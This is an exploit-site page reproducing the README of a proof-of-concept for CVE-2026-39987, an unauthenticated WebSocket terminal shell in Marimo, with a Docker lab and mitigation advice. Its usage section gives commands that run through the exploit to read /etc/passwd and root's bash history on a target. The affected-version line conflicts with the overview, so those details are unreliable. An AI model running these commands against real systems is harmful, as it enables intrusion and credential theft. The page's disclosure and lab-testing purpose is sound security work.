Exploit for Missing Authentication for Critical Function in Coreweave Marimo CVE-2026-39987

## https://sploitus.com/exploit?id=AABFEAE2-93E2-55B7-8059-99B47F6740D9
# CVE-2026-39987 - Marimo Pre-Auth RCE

**Unauthenticated Remote Code Execution in Marimo via WebSocket Terminal**

![Critical](https://img.shields.io/badge/Severity-Critical-red?style=for-the-badge)
![Python](https://img.shields.io/badge/Python-3.8+-blue?style=for-the-badge)
![Docker](https://img.shields.io/badge/Docker-Supported-2496ED?style=for-the-badge)

---

### 📌 Overview

**CVE-2026-39987** is a critical **Pre-Authentication Remote Code Execution** vulnerability affecting Marimo versions prior to 0.23.0. The `/terminal/ws` WebSocket endpoint completely bypasses authentication, allowing any unauthenticated attacker to obtain a full interactive PTY shell with the privileges of the Marimo process (typically **root** in Docker environments).

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## 🛠️ Vulnerability Details

- **CVE ID**: CVE-2026-39987
- **Affected Product**: Marimo (Reactive Python Notebook)
- **Affected Versions**: `marimo = 0.23.0`
- **Attack Vector**: Network (Unauthenticated)
- **Affected Endpoint**: `/terminal/ws`
- **Impact**: Full remote shell (PTY) as root

---

## ✨ PoC Features

- Automatic `http://` → `ws://` and `https://` → `wss://` conversion
- Intelligent PTY buffer draining
- Reliable command execution
- Clean, minimal and stable code
- Ready for Docker lab testing

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## 📁 Repository Structure

CVE-2026-39987/
├── CVE-2026-39987-poc.py          ← Main Exploit
├── docker-vulnerable/
│   ├── Dockerfile
│   └── docker-compose.yml
├── notebooks/                     ← Persistent notebooks (optional)
├── README.md
└── LICENSE

---

## 🚀 Usage

### 1. Install dependency

```bash
pip install websocket-client
```

### 2. Run the Exploit

```bash
# Basic usage
python3 CVE-2026-39987-poc.py http://localhost:2718 "id && whoami && hostname"

# System enumeration
python3 CVE-2026-39987-poc.py http://localhost:2718 "id && whoami && cat /etc/os-release && ls -la /app"

# Read sensitive files
python3 CVE-2026-39987-poc.py http://target:2718 "cat /etc/passwd && cat /root/.bash_history"
```

---

## 🧪 Vulnerable Docker Lab

```bash
cd docker-vulnerable
docker compose up --build -d
```

Then test:

```bash
python3 CVE-2026-39987-poc.py http://localhost:2718 "id && whoami"
```

---

## 🛡️ Mitigation

- Upgrade immediately to `marimo >= 0.23.0`
- Do not expose Marimo directly to the internet
- Place behind a reverse proxy with authentication
- Run as non-root user whenever possible
- Restrict access to `/terminal/ws` via firewall or proxy rules

---

## ⚠️ Disclaimer

This Proof of Concept is intended for **educational purposes** and **authorized security testing only**. The author is not responsible for any misuse or damage caused by this tool. Ensure you have explicit permission before testing any system.

Use ethically and responsibly.

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## 📄 References

- [Official CVE Advisory](#)
- [Marimo GitHub Repository](https://github.com/marimo-team/marimo)
- [NVD Entry (CVE-2026-39987)](#)

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*Made for security research & responsible disclosure.*